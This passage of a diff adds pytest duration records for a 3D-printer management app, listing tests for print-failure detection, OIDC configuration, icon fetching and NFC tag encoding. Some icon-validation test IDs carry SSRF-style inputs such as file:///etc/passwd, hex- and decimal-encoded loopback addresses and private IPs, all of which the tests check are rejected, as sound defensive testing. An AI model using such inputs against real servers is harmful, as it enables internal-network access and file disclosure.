"unit/test_obico_detection.py::TestFrameCache::test_expired_entries_are_pruned_on_stash": 0.0014832913875579834, + "unit/test_obico_detection.py::TestFrameCache::test_nonce_is_single_use": 0.0014888010919094086, + "unit/test_obico_detection.py::TestFrameCache::test_pop_rejects_expired_nonce": 0.0014824075624346733, + "unit/test_obico_detection.py::TestFrameCache::test_stash_and_pop_roundtrip": 0.001552429050207138, + "unit/test_obico_detection.py::TestFrameCache::test_stash_produces_unique_nonces": 0.0015062019228935242, + "unit/test_obico_detection.py::TestFrameCache::test_unknown_nonce_returns_none": 0.0014860155060887337, + "unit/test_obico_detection.py::TestGetStatus::test_empty_initial_status": 0.0014416128396987915, + "unit/test_obico_detection.py::TestGetStatus::test_thresholds_reflect_configured_sensitivity": 0.0015162816271185875, + "unit/test_obico_detection.py::TestMlApiToken::test_401_message_does_not_leak_the_token": 0.0021190010011196136, + "unit/test_obico_detection.py::TestMlApiToken::test_401_reports_the_token_rather_than_a_bare_http_error": 0.0024481667205691338, + "unit/test_obico_detection.py::TestMlApiToken::test_auth_headers_only_when_configured": 0.0012232009321451187, + "unit/test_obico_detection.py::TestMlApiToken::test_detection_call_carries_the_bearer_header": 0.0024805497378110886, + "unit/test_obico_detection.py::TestMlApiToken::test_detection_call_sends_no_header_without_a_token": 0.002242332324385643, + "unit/test_obico_detection.py::TestMlApiToken::test_settings_schema_accepts_a_token": 0.0012167608365416527, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_a_recovered_printer_goes_back_to_a_real_verdict": 0.0023348368704319, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_error_is_cleared_when_the_print_ends": 0.002475280314683914, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_failed_capture_reports_error": 0.001657377928495407, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_missing_external_url_reports_error": 0.0018837908282876015, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_rejected_token_reports_error_and_names_the_setting": 0.0021090321242809296, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_state_exists_before_the_first_inference_reports_unknown": 0.0014347685500979424, + "unit/test_obico_detection.py::TestNoVerdictIsNotSafe::test_unreachable_ml_api_reports_error": 0.0020702602341771126, + "unit/test_obico_detection.py::TestPollOneStateLifecycle::test_failure_fires_action_only_once": 0.0030744830146431923, + "unit/test_obico_detection.py::TestPollOneStateLifecycle::test_ml_api_empty_exception_message_falls_back_to_type": 0.0021602995693683624, + "unit/test_obico_detection.py::TestPollOneStateLifecycle::test_ml_api_error_does_not_crash": 0.0020619239658117294, + "unit/test_obico_detection.py::TestPollOneStateLifecycle::test_new_task_name_resets_state": 0.0025795744732022285, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_action_accepts_valid_values": 0.001178048551082611, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_action_rejects_garbage": 0.0012189755216240883, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_enabled_printers_accepts_empty": 0.0011607864871621132, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_enabled_printers_accepts_int_array": 0.0012143664062023163, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_enabled_printers_rejects_non_int_elements": 0.0011939778923988342, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_enabled_printers_rejects_non_json": 0.0012142769992351532, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_enabled_printers_rejects_non_list": 0.0012223999947309494, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_poll_interval_bounds": 0.0012160902842879295, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_sensitivity_accepts_valid_values": 0.001214715652167797, + "unit/test_obico_detection.py::TestSettingsSchemaValidators::test_sensitivity_rejects_garbage": 0.0012480290606617928, + "unit/test_obico_detection.py::TestTestConnection::test_empty_url_via_route": 0.011869617737829685, + "unit/test_obico_detection.py::TestTestConnection::test_healthy_response_is_ok": 0.0023084282875061035, + "unit/test_obico_detection.py::TestTestConnection::test_non_ok_body_is_not_ok": 0.002047457732260227, + "unit/test_obico_detection.py::TestTestConnectionTokenProbe::test_accepted_token_is_ok": 0.0019818246364593506, + "unit/test_obico_detection.py::TestTestConnectionTokenProbe::test_both_requests_carry_the_header": 0.00196858961135149, + "unit/test_obico_detection.py::TestTestConnectionTokenProbe::test_healthy_but_rejected_token_is_not_ok": 0.002213509753346443, + "unit/test_obico_detection.py::TestTestConnectionTokenProbe::test_probe_failure_leaves_the_token_unknown_but_keeps_the_test_ok": 0.0019578589126467705, + "unit/test_obico_detection.py::TestTestConnectionTokenProbe::test_unhealthy_server_is_not_probed": 0.0021690353751182556, + "unit/test_obico_detection.py::TestTestConnectionTokenProbe::test_url_policy_still_applies_before_any_request": 0.0014679618179798126, + "unit/test_obico_smoothing.py::TestClassify::test_failure": 0.0011642621830105782, + "unit/test_obico_smoothing.py::TestClassify::test_safe": 0.001154373399913311, + "unit/test_obico_smoothing.py::TestClassify::test_warning": 0.001148594543337822, + "unit/test_obico_smoothing.py::TestPrintState::test_after_warmup_returns_nonzero_for_hits": 0.001170935109257698, + "unit/test_obico_smoothing.py::TestPrintState::test_isolated_spike_does_not_trigger_failure": 0.0011786194518208504, + "unit/test_obico_smoothing.py::TestPrintState::test_sustained_hits_eventually_cross_high": 0.0012439712882041931, + "unit/test_obico_smoothing.py::TestPrintState::test_sustained_zero_stays_safe": 0.0011875545606017113, + "unit/test_obico_smoothing.py::TestPrintState::test_warmup_returns_zero": 0.0011670878157019615, + "unit/test_obico_smoothing.py::TestScoreFromDetections::test_empty": 0.0011911345645785332, + "unit/test_obico_smoothing.py::TestScoreFromDetections::test_ignores_malformed": 0.0011713746935129166, + "unit/test_obico_smoothing.py::TestScoreFromDetections::test_sums_confidences": 0.0011582514271140099, + "unit/test_obico_smoothing.py::TestThresholds::test_high_sensitivity_is_looser": 0.0011720666661858559, + "unit/test_obico_smoothing.py::TestThresholds::test_low_sensitivity_is_stricter": 0.0011557657271623611, + "unit/test_obico_smoothing.py::TestThresholds::test_medium_matches_base": 0.0012001991271972656, + "unit/test_obico_smoothing.py::TestThresholds::test_unknown_falls_back_to_medium": 0.0011542942374944687, + "unit/test_oidc_env_managed_migration.py::test_existing_rows_default_to_not_env_managed": 0.46464550495147705, + "unit/test_oidc_env_managed_migration.py::test_it_is_idempotent": 0.8815336972475052, + "unit/test_oidc_env_managed_migration.py::test_migration_adds_the_column_to_an_existing_table": 0.46257334016263485, + "unit/test_oidc_env_provider.py::test_is_env_managed_defaults_false": 0.18005570769309998, + "unit/test_oidc_env_reader.py::test_a_blank_default_group_is_unset[ ]": 0.0013114577159285545, + "unit/test_oidc_env_reader.py::test_a_blank_default_group_is_unset[]": 0.0013002390041947365, + "unit/test_oidc_env_reader.py::test_a_blank_email_claim_is_unset[ ]": 0.0013144146651029587, + "unit/test_oidc_env_reader.py::test_a_blank_email_claim_is_unset[]": 0.0012995367869734764, + "unit/test_oidc_env_reader.py::test_a_blank_icon_url_is_unset[ ]": 0.0013183914124965668, + "unit/test_oidc_env_reader.py::test_a_blank_icon_url_is_unset[]": 0.0012905299663543701, + "unit/test_oidc_env_reader.py::test_a_blank_scopes_is_unset[ ]": 0.0012893257662653923, + "unit/test_oidc_env_reader.py::test_a_blank_scopes_is_unset[]": 0.0012817615643143654, + "unit/test_oidc_env_reader.py::test_a_boolean_default_of_true_can_be_turned_off": 0.0012660343199968338, + "unit/test_oidc_env_reader.py::test_a_required_var_is_stripped[BAMBUDDY_OIDC_CLIENT_ID]": 0.0013078106567263603, + "unit/test_oidc_env_reader.py::test_a_required_var_is_stripped[BAMBUDDY_OIDC_CLIENT_SECRET]": 0.0012895874679088593, + "unit/test_oidc_env_reader.py::test_a_required_var_is_stripped[BAMBUDDY_OIDC_ISSUER_URL]": 0.0012936750426888466, + "unit/test_oidc_env_reader.py::test_a_required_var_is_stripped[BAMBUDDY_OIDC_NAME]": 0.0013362737372517586, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_ID- ]": 0.0013507306575775146, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_ID- \\t\\n ]": 0.001340983435511589, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_ID-\\n]": 0.0013227909803390503, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_ID-]": 0.001361931674182415, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_SECRET- ]": 0.0013200538232922554, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_SECRET- \\t\\n ]": 0.0013322774320840836, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_SECRET-\\n]": 0.0013250131160020828, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_CLIENT_SECRET-]": 0.0013438994064927101, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_ISSUER_URL- ]": 0.0013408642262220383, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_ISSUER_URL- \\t\\n ]": 0.0013421382755041122, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_ISSUER_URL-\\n]": 0.0013675829395651817, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_ISSUER_URL-]": 0.001354116015136242, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_NAME- ]": 0.0013367952778935432, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_NAME- \\t\\n ]": 0.0013205455616116524, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_NAME-\\n]": 0.001315525732934475, + "unit/test_oidc_env_reader.py::test_an_empty_required_var_counts_as_unset[BAMBUDDY_OIDC_NAME-]": 0.0013151662424206734, + "unit/test_oidc_env_reader.py::test_an_unrecognized_boolean_is_rejected[enabled]": 0.0013077408075332642, + "unit/test_oidc_env_reader.py::test_an_unrecognized_boolean_is_rejected[nonsense]": 0.0013187713921070099, + "unit/test_oidc_env_reader.py::test_an_unrecognized_boolean_is_rejected[on]": 0.0013521639630198479, + "unit/test_oidc_env_reader.py::test_an_unrecognized_boolean_is_rejected[y]": 0.001307239755988121, + "unit/test_oidc_env_reader.py::test_applies_the_documented_defaults": 0.0012471582740545273, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[ yes ]": 0.0013200733810663223, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[1]": 0.0013139937072992325, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[TRUE]": 0.0012935064733028412, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[True]": 0.0013491678982973099, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[YES]": 0.0012955982238054276, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[true]": 0.0013123974204063416, + "unit/test_oidc_env_reader.py::test_booleans_accept_the_project_truthy_spellings[yes]": 0.0013094739988446236, + "unit/test_oidc_env_reader.py::test_env_bool_absent_is_the_given_default[False]": 0.001266535371541977, + "unit/test_oidc_env_reader.py::test_env_bool_absent_is_the_given_default[True]": 0.0012368075549602509, + "unit/test_oidc_env_reader.py::test_env_bool_blank_is_the_given_default[False- ]": 0.0013020113110542297, + "unit/test_oidc_env_reader.py::test_env_bool_blank_is_the_given_default[False-]": 0.0013061081990599632, + "unit/test_oidc_env_reader.py::test_env_bool_blank_is_the_given_default[True- ]": 0.0013065990060567856, + "unit/test_oidc_env_reader.py::test_env_bool_blank_is_the_given_default[True-]": 0.0013041142374277115, + "unit/test_oidc_env_reader.py::test_env_bool_falsy_values_are_false[0]": 0.0012730658054351807, + "unit/test_oidc_env_reader.py::test_env_bool_falsy_values_are_false[FALSE]": 0.0012855874374508858, + "unit/test_oidc_env_reader.py::test_env_bool_falsy_values_are_false[NO]": 0.0012618349865078926, + "unit/test_oidc_env_reader.py::test_env_bool_falsy_values_are_false[false]": 0.001276843249797821, + "unit/test_oidc_env_reader.py::test_env_bool_falsy_values_are_false[no]": 0.0012517943978309631, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[False-enabled]": 0.0013124989345669746, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[False-nonsense]": 0.0012918617576360703, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[False-on]": 0.0013014189898967743, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[False-y]": 0.001326066441833973, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[True-enabled]": 0.0015913210809230804, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[True-nonsense]": 0.001320824958384037, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[True-on]": 0.0013022804632782936, + "unit/test_oidc_env_reader.py::test_env_bool_lenient_falls_back_to_default_on_unrecognized[True-y]": 0.0013134721666574478, + "unit/test_oidc_env_reader.py::test_env_bool_rejects_an_unrecognized_value[enabled]": 0.0012809596955776215, + "unit/test_oidc_env_reader.py::test_env_bool_rejects_an_unrecognized_value[nonsense]": 0.0012825727462768555, + "unit/test_oidc_env_reader.py::test_env_bool_rejects_an_unrecognized_value[on]": 0.0013086022809147835, + "unit/test_oidc_env_reader.py::test_env_bool_rejects_an_unrecognized_value[y]": 0.0012756511569023132, + "unit/test_oidc_env_reader.py::test_every_var_the_reader_knows_is_registered_in_the_typo_guard": 0.0012360354885458946, + "unit/test_oidc_env_reader.py::test_falsy_values_are_false[0]": 0.0012691477313637733, + "unit/test_oidc_env_reader.py::test_falsy_values_are_false[FALSE]": 0.001294766552746296, + "unit/test_oidc_env_reader.py::test_falsy_values_are_false[False]": 0.0012707505375146866, + "unit/test_oidc_env_reader.py::test_falsy_values_are_false[NO]": 0.0012716734781861305, + "unit/test_oidc_env_reader.py::test_falsy_values_are_false[false]": 0.0012714732438325882, + "unit/test_oidc_env_reader.py::test_falsy_values_are_false[no]": 0.00126603152602911, + "unit/test_oidc_env_reader.py::test_optional_strings_override_their_defaults": 0.001246945932507515, + "unit/test_oidc_env_reader.py::test_reads_the_required_vars": 0.0012351768091320992, + "unit/test_oidc_env_reader.py::test_returns_none_when_any_single_required_var_is_missing[BAMBUDDY_OIDC_CLIENT_ID]": 0.0013735340908169746, + "unit/test_oidc_env_reader.py::test_returns_none_when_any_single_required_var_is_missing[BAMBUDDY_OIDC_CLIENT_SECRET]": 0.0013339240103960037, + "unit/test_oidc_env_reader.py::test_returns_none_when_any_single_required_var_is_missing[BAMBUDDY_OIDC_ISSUER_URL]": 0.0013078516349196434, + "unit/test_oidc_env_reader.py::test_returns_none_when_any_single_required_var_is_missing[BAMBUDDY_OIDC_NAME]": 0.001296360045671463, + "unit/test_oidc_env_reader.py::test_returns_none_when_nothing_is_configured": 0.0019245874136686325, + "unit/test_oidc_env_reader.py::test_the_default_group_is_read_as_a_name": 0.001260712742805481, + "unit/test_oidc_icon_helpers.py::test_accepts_hostname_no_dns_resolution": 0.001200609840452671, + "unit/test_oidc_icon_helpers.py::test_accepts_public_https": 0.0012439899146556854, + "unit/test_oidc_icon_helpers.py::test_rejects_cloud_metadata_alibaba": 0.0012912312522530556, + "unit/test_oidc_icon_helpers.py::test_rejects_ipv4_mapped_cloud_metadata": 0.0013424558565020561, + "unit/test_oidc_icon_helpers.py::test_rejects_ipv4_mapped_private": 0.001325574703514576, + "unit/test_oidc_icon_helpers.py::test_rejects_ipv6_loopback": 0.001303553581237793, + "unit/test_oidc_icon_helpers.py::test_rejects_link_local": 0.0013253344222903252, + "unit/test_oidc_icon_helpers.py::test_rejects_loopback_127": 0.0012699998915195465, + "unit/test_oidc_icon_helpers.py::test_rejects_multicast": 0.0013045659288764, + "unit/test_oidc_icon_helpers.py::test_rejects_non_https[file:///etc/passwd]": 0.0012518558651208878, + "unit/test_oidc_icon_helpers.py::test_rejects_non_https[ftp://example.com/icon.png]": 0.0012566754594445229, + "unit/test_oidc_icon_helpers.py::test_rejects_non_https[gopher://example.com]": 0.0012385128065943718, + "unit/test_oidc_icon_helpers.py::test_rejects_non_https[http://example.com/icon.png]": 0.0012823725119233131, + "unit/test_oidc_icon_helpers.py::test_rejects_numeric_encoded_ip[https://0x7f000001/icon.png]": 0.0012511759996414185, + "unit/test_oidc_icon_helpers.py::test_rejects_numeric_encoded_ip[https://2130706433/icon.png]": 0.0012965109199285507, + "unit/test_oidc_icon_helpers.py::test_rejects_rfc1918_private[https://10.0.0.5/icon.png]": 0.0021187402307987213, + "unit/test_oidc_icon_helpers.py::test_rejects_rfc1918_private[https://172.16.0.1/icon.png]": 0.0013135327026247978, + "unit/test_oidc_icon_helpers.py::test_rejects_rfc1918_private[https://192.168.1.50/icon.png]": 0.00131211057305336, + "unit/test_oidc_icon_helpers.py::test_rejects_unspecified": 0.0013035526499152184, + "unit/test_oidc_icon_migration_pg.py::test_icon_content_type_and_etag_columns_both_dialects": 0.024038484320044518, + "unit/test_oidc_icon_migration_pg.py::test_pg_branch_uses_bytea_for_icon_data": 0.012840417213737965, + "unit/test_oidc_icon_migration_pg.py::test_sqlite_branch_uses_blob_for_icon_data": 0.014207889325916767, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_accepts_whitelisted_mime[image/gif]": 0.001317518763244152, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_accepts_whitelisted_mime[image/jpeg]": 0.001330684870481491, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_accepts_whitelisted_mime[image/png]": 0.0014641257002949715, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_accepts_whitelisted_mime[image/webp]": 0.0013176994398236275, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_disallowed_mime_raises_with_value[application/json]": 0.0012945672497153282, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_disallowed_mime_raises_with_value[application/pdf]": 0.0013017207384109497, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_disallowed_mime_raises_with_value[image/svg+xml]": 0.0013517336919903755, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_disallowed_mime_raises_with_value[text/html]": 0.0012769326567649841, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_disallowed_mime_raises_with_value[text/plain]": 0.0012816134840250015, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_missing_content_type_distinct_message": 0.0013012997806072235, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_octet_stream_with_jpeg_extension": 0.0012480784207582474, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_octet_stream_with_png_extension": 0.001254030503332615, + "unit/test_oidc_icon_service.py::TestResolveContentType::test_octet_stream_without_extension_raises": 0.001327207311987877, + "unit/test_oidc_icon_service.py::test_accepts_whitelisted_mime[image/gif]": 0.0017534373328089714, + "unit/test_oidc_icon_service.py::test_accepts_whitelisted_mime[image/jpeg]": 0.0017206761986017227, + "unit/test_oidc_icon_service.py::test_accepts_whitelisted_mime[image/png]": 0.00181659497320652, + "unit/test_oidc_icon_service.py::test_accepts_whitelisted_mime[image/webp]": 0.001719372346997261, + "unit/test_oidc_icon_service.py::test_connection_error_raises_unavailable": 0.0016155494377017021, + "unit/test_oidc_icon_service.py::test_etag_is_deterministic_sha256": 0.0017092935740947723, + "unit/test_oidc_icon_service.py::test_invalid_url_raises_url_error": 0.0016268184408545494, + "unit/test_oidc_icon_service.py::test_octet_stream_with_png_extension_accepted": 0.0018459716811776161, + "unit/test_oidc_icon_service.py::test_passes_follow_redirects_false": 0.0017130188643932343, + "unit/test_oidc_icon_service.py::test_rejects_disallowed_mime[application/json]": 0.0017443494871258736, + "unit/test_oidc_icon_service.py::test_rejects_disallowed_mime[application/pdf]": 0.0017264354974031448, + "unit/test_oidc_icon_service.py::test_rejects_disallowed_mime[image/svg+xml]": 0.0017524240538477898, + "unit/test_oidc_icon_service.py::test_rejects_disallowed_mime[text/html]": 0.0017329081892967224, + "unit/test_oidc_icon_service.py::test_rejects_disallowed_mime[text/plain]": 0.0019100494682788849, + "unit/test_oidc_icon_service.py::test_rejects_empty_body": 0.0017095934599637985, + "unit/test_oidc_icon_service.py::test_rejects_missing_content_type_header": 0.0017408141866326332, + "unit/test_oidc_icon_service.py::test_rejects_non_200[301]": 0.0017240531742572784, + "unit/test_oidc_icon_service.py::test_rejects_non_200[302]": 0.0017349114641547203, + "unit/test_oidc_icon_service.py::test_rejects_non_200[307]": 0.0017508119344711304, + "unit/test_oidc_icon_service.py::test_rejects_non_200[308]": 0.0017575230449438095, + "unit/test_oidc_icon_service.py::test_rejects_non_200[404]": 0.0017494698986411095, + "unit/test_oidc_icon_service.py::test_rejects_non_200[500]": 0.0017726235091686249, + "unit/test_oidc_icon_service.py::test_rejects_non_200[502]": 0.0017783641815185547, + "unit/test_oidc_icon_service.py::test_rejects_non_https": 0.00151718407869339, + "unit/test_oidc_icon_service.py::test_rejects_octet_stream_without_image_extension": 0.0017031924799084663, + "unit/test_oidc_icon_service.py::test_rejects_oversized_payload_via_streaming_early_exit": 0.0034119654446840286, + "unit/test_oidc_icon_service.py::test_streaming_size_cap_aborts_at_first_chunk_past_limit": 0.0016779853031039238, + "unit/test_oidc_icon_service.py::test_timeout_raises_unavailable": 0.0016368674114346504, + "unit/test_oidc_icon_validation.py::test_icon_url_cloud_metadata_alibaba_rejected": 0.001908687874674797, + "unit/test_oidc_icon_validation.py::test_icon_url_empty_string_rejected": 0.0013111364096403122, + "unit/test_oidc_icon_validation.py::test_icon_url_hostname_accepted_no_dns": 0.0013139527291059494, + "unit/test_oidc_icon_validation.py::test_icon_url_http_rejected": 0.0013537462800741196, + "unit/test_oidc_icon_validation.py::test_icon_url_ipv4_mapped_ipv6_private_rejected": 0.0013270676136016846, + "unit/test_oidc_icon_validation.py::test_icon_url_link_local_or_cloud_metadata_rejected": 0.0013097543269395828, + "unit/test_oidc_icon_validation.py::test_icon_url_loopback_ip_rejected": 0.0013337302953004837, + "unit/test_oidc_icon_validation.py::test_icon_url_multicast_rejected": 0.0012963898479938507, + "unit/test_oidc_icon_validation.py::test_icon_url_none_accepted": 0.0013206955045461655, + "unit/test_oidc_icon_validation.py::test_icon_url_numeric_encoded_ip_rejected[https://0x7f000001/icon.png]": 0.0013466039672493935, + "unit/test_oidc_icon_validation.py::test_icon_url_numeric_encoded_ip_rejected[https://2130706433/icon.png]": 0.0013327375054359436, + "unit/test_oidc_icon_validation.py::test_icon_url_private_ip_rejected[https://10.0.0.5/icon.png]": 0.0013570617884397507, + "unit/test_oidc_icon_validation.py::test_icon_url_private_ip_rejected[https://172.16.0.1/icon.png]": 0.0013582045212388039, + "unit/test_oidc_icon_validation.py::test_icon_url_private_ip_rejected[https://192.168.1.1/icon.png]": 0.001370348036289215, + "unit/test_oidc_icon_validation.py::test_icon_url_unspecified_rejected": 0.0013605086132884026, + "unit/test_oidc_icon_validation.py::test_icon_url_valid_https_accepted": 0.0012994948774576187, + "unit/test_opentag3d.py::TestBuildPayload::test_brand_field": 0.0013299928978085518, + "unit/test_opentag3d.py::TestBuildPayload::test_color_name_field": 0.0013417555019259453, + "unit/test_opentag3d.py::TestBuildPayload::test_material_field": 0.0012960778549313545, + "unit/test_opentag3d.py::TestBuildPayload::test_material_truncated": 0.0012834873050451279, + "unit/test_opentag3d.py::TestBuildPayload::test_modifiers_field": 0.001273886300623417, + "unit/test_opentag3d.py::TestBuildPayload::test_modifiers_none": 0.0012754211202263832, + "unit/test_opentag3d.py::TestBuildPayload::test_payload_is_102_bytes": 0.0013424567878246307, + "unit/test_opentag3d.py::TestBuildPayload::test_print_temp": 0.0015318924561142921, + "unit/test_opentag3d.py::TestBuildPayload::test_print_temp_none": 0.0012936657294631004, + "unit/test_opentag3d.py::TestBuildPayload::test_reserved_is_zero": 0.0012603029608726501, + "unit/test_opentag3d.py::TestBuildPayload::test_rgba_field": 0.0014251600950956345, + "unit/test_opentag3d.py::TestBuildPayload::test_rgba_none": 0.001421152614057064, + "unit/test_opentag3d.py::TestBuildPayload::test_tag_version": 0.0013245223090052605, + "unit/test_opentag3d.py::TestBuildPayload::test_target_diameter": 0.0014329757541418076, + "unit/test_opentag3d.py::TestBuildPayload::test_target_weight": 0.0014621391892433167, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_brand_encoded": 0.0012241341173648834, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_label_weight_at_uint16_max_accepted": 0.001181814819574356, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_label_weight_encoded": 0.0011904416605830193, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_label_weight_negative_clamped_to_zero": 0.0011879373341798782, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_label_weight_overflow_clamped_to_65535": 0.0011765863746404648, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_matches_orm_path_for_same_data": 0.001311296597123146, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_material_encoded": 0.001214025542140007, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_missing_keys_produce_safe_defaults": 0.0011904304847121239, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_none_color_name_zero_filled": 0.0011744219809770584, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_nozzle_temp_float_does_not_crash": 0.0012070834636688232, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_nozzle_temp_negative_clamped_to_zero": 0.0011929962784051895, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_nozzle_temp_overflow_clamped_to_255": 0.0011914735659956932, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_payload_is_102_bytes": 0.0012517673894762993, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_rgba_encoded": 0.0011972738429903984, + "unit/test_opentag3d.py::TestBuildPayloadFromDict::test_subtype_encoded": 0.001218312419950962, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_ends_with_terminator": 0.0013378160074353218, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_fits_ntag213": 0.0012898389250040054, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_mime_type": 0.0012600328773260117, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_ndef_record_header": 0.0012613357976078987, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_starts_with_cc": 0.001271733082830906, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_tlv_header": 0.001611742191016674, + "unit/test_opentag3d.py::TestEncodeOpentag3d::test_total_size": 0.0012770621106028557, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_ends_with_terminator": 0.0012369891628623009, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_fits_ntag213": 0.0011881766840815544, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_identical_output_to_orm_path": 0.0013861162588000298, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_mime_type_present": 0.0012053987011313438, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_spoolman_mapped_dict_accepted": 0.0012478306889533997, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_starts_with_cc": 0.0012000584974884987, + "unit/test_opentag3d.py::TestEncodeOpentag3dFromMapped::test_total_size": 0.0012067612260580063, + "unit/test_orca_cloud_refresh.py::TestRejectedRefresh::test_an_unreachable_orca_never_clears_either_way": 0.1925818771123886, + "unit/test_orca_cloud_refresh.py::TestRejectedRefresh::test_background_callers_leave_the_credentials_alone": 0.20268422178924084, + "unit/test_orca_cloud_refresh.py::TestRejectedRefresh::test_routes_clear_the_dead_pairing_by_default": 0.19583438988775015, + "unit/test_orca_cloud_refresh.py::TestSuccessfulRefresh::test_the_rotated_pair_is_persisted_even_for_background_callers": 0.18626824393868446, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_compatible_printers": 0.0011998796835541725, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_default_filament_colour": 0.0012099174782633781, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_empty_data": 0.0012030238285660744, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_filament_cost_array": 0.0012007318437099457, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_filament_density": 0.001209186390042305, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_filament_type_array": 0.0012213392183184624, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_filament_type_string": 0.0012318603694438934, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_filament_vendor_array": 0.0012377910315990448, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_full_resolved_preset": 0.001201992854475975, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_nozzle_temp_from_array": 0.0012241033837199211, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_nozzle_temp_range_override": 0.0012098383158445358, + "unit/test_orca_profiles.py::TestExtractCoreFields::test_pressure_advance_array": 0.001206701621413231, + 